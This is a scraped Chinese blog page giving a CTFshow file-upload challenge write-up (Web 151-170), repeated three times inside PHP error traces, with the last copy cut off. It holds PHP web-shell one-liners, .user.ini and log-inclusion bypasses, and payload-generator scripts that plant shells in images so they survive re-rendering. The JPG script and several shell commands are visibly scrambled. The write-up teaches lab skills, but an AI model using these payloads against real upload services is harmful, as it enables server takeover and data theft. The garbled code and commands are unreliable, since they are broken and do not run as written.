Error[8]: Undefined offset: 1124, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

目录 Web 151考点:后端无验证,前端校验 Web 152考点:绕过前端校验 Web 153考点:文件后缀名,黑名单 Web 154-155考点:文件内容过滤,过滤关键字是php Web 156-158Web159Web 160考点:过滤了php,执行函数,反引号等 Web 161Web 162-163Web 164考点: png二次渲染 Web 165考点:jpg二次渲染 Web 166Web 167考点:Apache的包含解析 Web 168考点:免杀,过滤了好多执行函数 Web 169考点:免杀,主要是过滤了php, <>等 Web 170

Web 151 考点:后端无验证,前端校验

查看源码可以发现只能上传png图片
修改为php
写一个php文件上传一句话木马

可以发现已经成功上传
查看上级目录发现可疑文件

查看flag.php文件内容得出flag

Web 152

考点:绕过前端校验

解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。

Content-Type内容修改成image/png,重发,发现成功上传
剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag

Web 153

考点:文件后缀名,黑名单

利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
接着上传.user.ini内容为 auto_append_file=“xxx”
xxx为我们上传的文件名
这样就在每个php文件上包含了我们的木马文件。

查看/upload目录下是否上传成功,木马上传成功

Web 154-155

考点:文件内容过滤,过滤关键字是php

上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过

这一步和上题相似

发现已经上传成功

得到flag

Web 156-158

在前面的基础上过滤了[]那我们直接用{}来代替

eval($_POST{1});?>

或者
那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

system('tac ../f*')?>

Web159

过滤了括号,那就用反引号就可以啦

`tac ../f*`?>
Web 160 考点:过滤了php,执行函数,反引号等

解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息


Web 161

在160的基础上增加图片头即可,即 GIF89A

Web 162-163

目前了解有三种解法
一种是session包含,一个是远程文件包含,还有一种是data伪协议,不过要把伪协议代码用取反表示
伪协议
条件竞争-脚本
条件竞争-burpsuit

但是这几种方法我都没有出结果,悲伤…

Web 164 考点: png二次渲染

利用下方代码进行png二次渲染绕过


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

木马内容

$_GET[0]($_POST[1]);?>

imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png图片
图片脚本内容:

$_GET[0]($_POST[1]);

使用方法:
例子:查看图片,get传入0=system;post传入tac flag.php

注:
运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在


if(extension_loaded('gd')) {
echo '可以使用gd
';
foreach(gd_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>

如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可

将生成的图片上传,bp抓包

Web 165 考点:jpg二次渲染

运用以下脚本进行jpg二次渲染绕过


$miniPayload = '';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat(","$nullbytePayloadSize). substr
                ($outStream,$startPos );checkImage
            ('_'.$argv[1],$outStreamTmp ,TRUE );if
            ($extraBytes!== 0 )while {
                ((!$diseof->()))if {
                    ($disreadByte->()=== 0xFF )if {
                        ($disreadByte->!== 0x00 )break {
                            ;}
                        }
                    }
                $stopPos
                = $dis seek->()- 2 ;$imageStreamSize
                = $stopPos - $startPos ;$outStream
                = substr
                    ($outStream,0 ,$startPos ). $miniPayload
                    . substr
                    (str_repeat
                        (","$nullbytePayloadSize).substr(
                        $outStream,$startPos, $imageStreamSize) ,0,
                        $nullbytePayloadSize+
                        $imageStreamSize-$extraBytes).substr (
                    $outStream,$stopPos) ;}elseif
            ( $correctImage)$outStream= {
                $outStreamTmp ; }else
            break ; {
                }if
            (
            checkImage('payload_'.$argv[1],$outStream) )die( {
                'Success!');}else
            break ; {
                }}
            }
        }
    unlink
(
'payload_'.$argv[1]);die(
'Something\'s wrong');functioncheckImage
( $filename,$data, $unlink= FALSE ) global$correctImage {
    ; file_put_contents(
    $filename,$data) ;$correctImage=
    TRUE ; imagecreatefromjpeg(
    $filename);if(
    $unlink)unlink(
        $filename);return$correctImage
    ; }function
custom_error_handler
( $errno,$errstr, $errfile, $errline) global$extraBytes {
    , $correctImage; $correctImage=
    FALSE ; if(
    preg_match('/(\d+) extraneous bytes before marker/',$errstr, $m) )if( {
        isset($m[1]))$extraBytes= {
            ( int )$m[1];}}
        }
    class
DataInputStream
private $binData {
    ; private$order
    ; private$size
    ; publicfunction
    __construct ( $filename,$order= false , $fromString= false ) $thisbinData {
        =->'' ; $thisorder
        =->$order ; if(
        !$fromString)if( {
            !file_exists($filename)||! is_file ($filename))die(
                'File not exists ['.$filename.']');$thisbinData
            =->file_get_contents ( $filename);}else
        $this binData {
            =->$filename ; }$this
        size
        =->strlen ( $thisbinData)->;}public
    function
    seek ( )return( {
        $this size-->strlen ( $thisbinData)->);}public
    function
    skip ( $skip)$thisbinData
    {
        =->substr ( $thisbinData,->$skip) ;}public
    function
    readByte ( )if( {
        $thiseof(->))die( {
            'End Of File');}$byte
        =
        substr ( $thisbinData,->0, 1) ;$thisbinData
        =->substr ( $thisbinData,->1) ;returnord
        ( $byte);}public
    function

    readShort ( )if( {
        strlen($thisbinData)-><2 ) die( {
            'End Of File');}$short
        =
        substr ( $thisbinData,->0, 2) ;$thisbinData
        =->substr ( $thisbinData,->2) ;if(
        $thisorder)->$short= {
            ( ord ($short[1])<<8 ) +ord ( $short[0]);}else
        $short = {
            ( ord ($short[0])<<8 ) +ord ( $short[1]);}return
        $short
        ; }public
    function

    eof ( )return! {
        $this binData||->(strlen($thisbinData)->===0 ) ;}}
    ?
2.jpg
payload_2.jpg>

先上传一张jpg图片然后下载到本地重命名为.,再用jpg脚本生成.

a为文件名

php jpg二次渲染payload_2.jpgphp alinuxjpg

在上传ubuntu,抓包

注:
jpg脚本需在-环境下运行,我的系统为.

安装php

sudo aptlistget install php

发现报错,需要重新寻找更新源

解决方法如下:

sudo vim sourceshttp:

deb //mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  --



sudo apt-get update
sudo apt-get install php

jpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php.gd版本)
sudo apt4get install php7--.htaccessgd
sudo php .htaccessm(查看gd是否安装成功)
Web 166

发现只可以上传zip文件

在zip文件里加入一句话木马,上传抓包

Web 167 考点:Apache的包含解析

/进行绕过了
首先上传-

AddType application-x.httpdpng文件php phpjpg 

再上传一句话木马

Web 168 考点:免杀,过滤了好多执行函数

上传免杀代码抓包,修改文件后缀为upload/1.php,加入index.php
直接访问日志
查看源码即可得到flag

Web 169 考点:免杀,主要是过滤了php, <>等

创建UA文件,因为phpinfo()文件内容将会在index.php中显现
Content-Type中加入一句话木马

image/png可作为瞄点

Web 170

先上传一个zip,然后抓包,改.user.iniGIF89A,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 = 文件

"/var/log/nginx/access.log"
auto_append_fileeval

UA添加小马

( @$_POST['shell']);?[+++][+++]>

蚁剑相连

)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 166, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
Error[8]: Undefined offset: 1125, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

目录 Web 151考点:后端无验证,前端校验 Web 152考点:绕过前端校验 Web 153考点:文件后缀名,黑名单 Web 154-155考点:文件内容过滤,过滤关键字是php Web 156-158Web159Web 160考点:过滤了php,执行函数,反引号等 Web 161Web 162-163Web 164考点: png二次渲染 Web 165考点:jpg二次渲染 Web 166Web 167考点:Apache的包含解析 Web 168考点:免杀,过滤了好多执行函数 Web 169考点:免杀,主要是过滤了php, <>等 Web 170

Web 151 考点:后端无验证,前端校验

查看源码可以发现只能上传png图片
修改为php
写一个php文件上传一句话木马

可以发现已经成功上传
查看上级目录发现可疑文件

查看flag.php文件内容得出flag

Web 152

考点:绕过前端校验

解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。

Content-Type内容修改成image/png,重发,发现成功上传
剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag

Web 153

考点:文件后缀名,黑名单

利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
接着上传.user.ini内容为 auto_append_file=“xxx”
xxx为我们上传的文件名
这样就在每个php文件上包含了我们的木马文件。

查看/upload目录下是否上传成功,木马上传成功

Web 154-155

考点:文件内容过滤,过滤关键字是php

上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过

这一步和上题相似

发现已经上传成功

得到flag

Web 156-158

在前面的基础上过滤了[]那我们直接用{}来代替

eval($_POST{1});?>

或者
那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

system('tac ../f*')?>

Web159

过滤了括号,那就用反引号就可以啦

`tac ../f*`?>
Web 160 考点:过滤了php,执行函数,反引号等

解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息


Web 161

在160的基础上增加图片头即可,即 GIF89A

Web 162-163

目前了解有三种解法
一种是session包含,一个是远程文件包含,还有一种是data伪协议,不过要把伪协议代码用取反表示
伪协议
条件竞争-脚本
条件竞争-burpsuit

但是这几种方法我都没有出结果,悲伤…

Web 164 考点: png二次渲染

利用下方代码进行png二次渲染绕过


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

木马内容

$_GET[0]($_POST[1]);?>

imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png图片
图片脚本内容:

$_GET[0]($_POST[1]);

使用方法:
例子:查看图片,get传入0=system;post传入tac flag.php

注:
运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在


if(extension_loaded('gd')) {
echo '可以使用gd
';
foreach(gd_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>

如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可

将生成的图片上传,bp抓包

Web 165 考点:jpg二次渲染

运用以下脚本进行jpg二次渲染绕过


$miniPayload = '';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat(","$nullbytePayloadSize). substr
                ($outStream,$startPos );checkImage
            ('_'.$argv[1],$outStreamTmp ,TRUE );if
            ($extraBytes!== 0 )while {
                ((!$diseof->()))if {
                    ($disreadByte->()=== 0xFF )if {
                        ($disreadByte->!== 0x00 )break {
                            ;}
                        }
                    }
                $stopPos
                = $dis seek->()- 2 ;$imageStreamSize
                = $stopPos - $startPos ;$outStream
                = substr
                    ($outStream,0 ,$startPos ). $miniPayload
                    . substr
                    (str_repeat
                        (","$nullbytePayloadSize).substr(
                        $outStream,$startPos, $imageStreamSize) ,0,
                        $nullbytePayloadSize+
                        $imageStreamSize-$extraBytes).substr (
                    $outStream,$stopPos) ;}elseif
            ( $correctImage)$outStream= {
                $outStreamTmp ; }else
            break ; {
                }if
            (
            checkImage('payload_'.$argv[1],$outStream) )die( {
                'Success!');}else
            break ; {
                }}
            }
        }
    unlink
(
'payload_'.$argv[1]);die(
'Something\'s wrong');functioncheckImage
( $filename,$data, $unlink= FALSE ) global$correctImage {
    ; file_put_contents(
    $filename,$data) ;$correctImage=
    TRUE ; imagecreatefromjpeg(
    $filename);if(
    $unlink)unlink(
        $filename);return$correctImage
    ; }function
custom_error_handler
( $errno,$errstr, $errfile, $errline) global$extraBytes {
    , $correctImage; $correctImage=
    FALSE ; if(
    preg_match('/(\d+) extraneous bytes before marker/',$errstr, $m) )if( {
        isset($m[1]))$extraBytes= {
            ( int )$m[1];}}
        }
    class
DataInputStream
private $binData {
    ; private$order
    ; private$size
    ; publicfunction
    __construct ( $filename,$order= false , $fromString= false ) $thisbinData {
        =->'' ; $thisorder
        =->$order ; if(
        !$fromString)if( {
            !file_exists($filename)||! is_file ($filename))die(
                'File not exists ['.$filename.']');$thisbinData
            =->file_get_contents ( $filename);}else
        $this binData {
            =->$filename ; }$this
        size
        =->strlen ( $thisbinData)->;}public
    function
    seek ( )return( {
        $this size-->strlen ( $thisbinData)->);}public
    function
    skip ( $skip)$thisbinData
    {
        =->substr ( $thisbinData,->$skip) ;}public
    function
    readByte ( )if( {
        $thiseof(->))die( {
            'End Of File');}$byte
        =
        substr ( $thisbinData,->0, 1) ;$thisbinData
        =->substr ( $thisbinData,->1) ;returnord
        ( $byte);}public
    function

    readShort ( )if( {
        strlen($thisbinData)-><2 ) die( {
            'End Of File');}$short
        =
        substr ( $thisbinData,->0, 2) ;$thisbinData
        =->substr ( $thisbinData,->2) ;if(
        $thisorder)->$short= {
            ( ord ($short[1])<<8 ) +ord ( $short[0]);}else
        $short = {
            ( ord ($short[0])<<8 ) +ord ( $short[1]);}return
        $short
        ; }public
    function

    eof ( )return! {
        $this binData||->(strlen($thisbinData)->===0 ) ;}}
    ?
2.jpg
payload_2.jpg>

先上传一张jpg图片然后下载到本地重命名为.,再用jpg脚本生成.

a为文件名

php jpg二次渲染payload_2.jpgphp alinuxjpg

在上传ubuntu,抓包

注:
jpg脚本需在-环境下运行,我的系统为.

安装php

sudo aptlistget install php

发现报错,需要重新寻找更新源

解决方法如下:

sudo vim sourceshttp:

deb //mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  --



sudo apt-get update
sudo apt-get install php

jpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php.gd版本)
sudo apt4get install php7--.htaccessgd
sudo php .htaccessm(查看gd是否安装成功)
Web 166

发现只可以上传zip文件

在zip文件里加入一句话木马,上传抓包

Web 167 考点:Apache的包含解析

/进行绕过了
首先上传-

AddType application-x.httpdpng文件php phpjpg 

再上传一句话木马

Web 168 考点:免杀,过滤了好多执行函数

上传免杀代码抓包,修改文件后缀为upload/1.php,加入index.php
直接访问日志
查看源码即可得到flag

Web 169 考点:免杀,主要是过滤了php, <>等

创建UA文件,因为phpinfo()文件内容将会在index.php中显现
Content-Type中加入一句话木马

image/png可作为瞄点

Web 170

先上传一个zip,然后抓包,改.user.iniGIF89A,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 = 文件

"/var/log/nginx/access.log"
auto_append_fileeval

UA添加小马

( @$_POST['shell']);?[+++]>

蚁剑相连

)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 166, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
CTFshow web入门——文件上传_PHP_内存溢出

CTFshow web入门——文件上传

CTFshow web入门——文件上传,第1张

目录 Web 151考点:后端无验证,前端校验 Web 152考点:绕过前端校验 Web 153考点:文件后缀名,黑名单 Web 154-155考点:文件内容过滤,过滤关键字是php Web 156-158Web159Web 160考点:过滤了php,执行函数,反引号等 Web 161Web 162-163Web 164考点: png二次渲染 Web 165考点:jpg二次渲染 Web 166Web 167考点:Apache的包含解析 Web 168考点:免杀,过滤了好多执行函数 Web 169考点:免杀,主要是过滤了php, <>等 Web 170

Web 151 考点:后端无验证,前端校验

查看源码可以发现只能上传png图片
修改为php
写一个php文件上传一句话木马

可以发现已经成功上传
查看上级目录发现可疑文件

查看flag.php文件内容得出flag

Web 152

考点:绕过前端校验

解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。

Content-Type内容修改成image/png,重发,发现成功上传
剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag

Web 153

考点:文件后缀名,黑名单

利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片
接着上传.user.ini内容为 auto_append_file=“xxx”
xxx为我们上传的文件名
这样就在每个php文件上包含了我们的木马文件。

查看/upload目录下是否上传成功,木马上传成功

Web 154-155

考点:文件内容过滤,过滤关键字是php

上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过

这一步和上题相似

发现已经上传成功

得到flag

Web 156-158

在前面的基础上过滤了[]那我们直接用{}来代替

eval($_POST{1});?>

或者
那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

system('tac ../f*')?>

Web159

过滤了括号,那就用反引号就可以啦

`tac ../f*`?>
Web 160 考点:过滤了php,执行函数,反引号等

解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息


Web 161

在160的基础上增加图片头即可,即 GIF89A

Web 162-163

目前了解有三种解法
一种是session包含,一个是远程文件包含,还有一种是data伪协议,不过要把伪协议代码用取反表示
伪协议
条件竞争-脚本
条件竞争-burpsuit

但是这几种方法我都没有出结果,悲伤…

Web 164 考点: png二次渲染

利用下方代码进行png二次渲染绕过


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

木马内容

$_GET[0]($_POST[1]);?>

imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png图片
图片脚本内容:

$_GET[0]($_POST[1]);

使用方法:
例子:查看图片,get传入0=system;post传入tac flag.php

注:
运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在


if(extension_loaded('gd')) {
echo '可以使用gd
';
foreach(gd_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>

如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可

将生成的图片上传,bp抓包

Web 165 考点:jpg二次渲染

运用以下脚本进行jpg二次渲染绕过


$miniPayload = '';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat(","$nullbytePayloadSize). substr
                ($outStream,$startPos );checkImage
            ('_'.$argv[1],$outStreamTmp ,TRUE );if
            ($extraBytes!== 0 )while {
                ((!$diseof->()))if {
                    ($disreadByte->()=== 0xFF )if {
                        ($disreadByte->!== 0x00 )break {
                            ;}
                        }
                    }
                $stopPos
                = $dis seek->()- 2 ;$imageStreamSize
                = $stopPos - $startPos ;$outStream
                = substr
                    ($outStream,0 ,$startPos ). $miniPayload
                    . substr
                    (str_repeat
                        (","$nullbytePayloadSize).substr(
                        $outStream,$startPos, $imageStreamSize) ,0,
                        $nullbytePayloadSize+
                        $imageStreamSize-$extraBytes).substr (
                    $outStream,$stopPos) ;}elseif
            ( $correctImage)$outStream= {
                $outStreamTmp ; }else
            break ; {
                }if
            (
            checkImage('payload_'.$argv[1],$outStream) )die( {
                'Success!');}else
            break ; {
                }}
            }
        }
    unlink
(
'payload_'.$argv[1]);die(
'Something\'s wrong');functioncheckImage
( $filename,$data, $unlink= FALSE ) global$correctImage {
    ; file_put_contents(
    $filename,$data) ;$correctImage=
    TRUE ; imagecreatefromjpeg(
    $filename);if(
    $unlink)unlink(
        $filename);return$correctImage
    ; }function
custom_error_handler
( $errno,$errstr, $errfile, $errline) global$extraBytes {
    , $correctImage; $correctImage=
    FALSE ; if(
    preg_match('/(\d+) extraneous bytes before marker/',$errstr, $m) )if( {
        isset($m[1]))$extraBytes= {
            ( int )$m[1];}}
        }
    class
DataInputStream
private $binData {
    ; private$order
    ; private$size
    ; publicfunction
    __construct ( $filename,$order= false , $fromString= false ) $thisbinData {
        =->'' ; $thisorder
        =->$order ; if(
        !$fromString)if( {
            !file_exists($filename)||! is_file ($filename))die(
                'File not exists ['.$filename.']');$thisbinData
            =->file_get_contents ( $filename);}else
        $this binData {
            =->$filename ; }$this
        size
        =->strlen ( $thisbinData)->;}public
    function
    seek ( )return( {
        $this size-->strlen ( $thisbinData)->);}public
    function
    skip ( $skip)$thisbinData
    {
        =->substr ( $thisbinData,->$skip) ;}public
    function
    readByte ( )if( {
        $thiseof(->))die( {
            'End Of File');}$byte
        =
        substr ( $thisbinData,->0, 1) ;$thisbinData
        =->substr ( $thisbinData,->1) ;returnord
        ( $byte);}public
    function

    readShort ( )if( {
        strlen($thisbinData)-><2 ) die( {
            'End Of File');}$short
        =
        substr ( $thisbinData,->0, 2) ;$thisbinData
        =->substr ( $thisbinData,->2) ;if(
        $thisorder)->$short= {
            ( ord ($short[1])<<8 ) +ord ( $short[0]);}else
        $short = {
            ( ord ($short[0])<<8 ) +ord ( $short[1]);}return
        $short
        ; }public
    function

    eof ( )return! {
        $this binData||->(strlen($thisbinData)->===0 ) ;}}
    ?
2.jpg
payload_2.jpg>

先上传一张jpg图片然后下载到本地重命名为.,再用jpg脚本生成.

a为文件名

php jpg二次渲染payload_2.jpgphp alinuxjpg

在上传ubuntu,抓包

注:
jpg脚本需在-环境下运行,我的系统为.

安装php

sudo aptlistget install php

发现报错,需要重新寻找更新源

解决方法如下:

sudo vim sourceshttp:

deb //mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  --



sudo apt-get update
sudo apt-get install php

jpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php.gd版本)
sudo apt4get install php7--.htaccessgd
sudo php .htaccessm(查看gd是否安装成功)
Web 166

发现只可以上传zip文件

在zip文件里加入一句话木马,上传抓包

Web 167 考点:Apache的包含解析

/进行绕过了
首先上传-

AddType application-x.httpdpng文件php phpjpg 

再上传一句话木马

Web 168 考点:免杀,过滤了好多执行函数

上传免杀代码抓包,修改文件后缀为upload/1.php,加入index.php
直接访问日志
查看源码即可得到flag

Web 169 考点:免杀,主要是过滤了php, <>等

创建UA文件,因为phpinfo()文件内容将会在index.php中显现
Content-Type中加入一句话木马

image/png可作为瞄点

Web 170

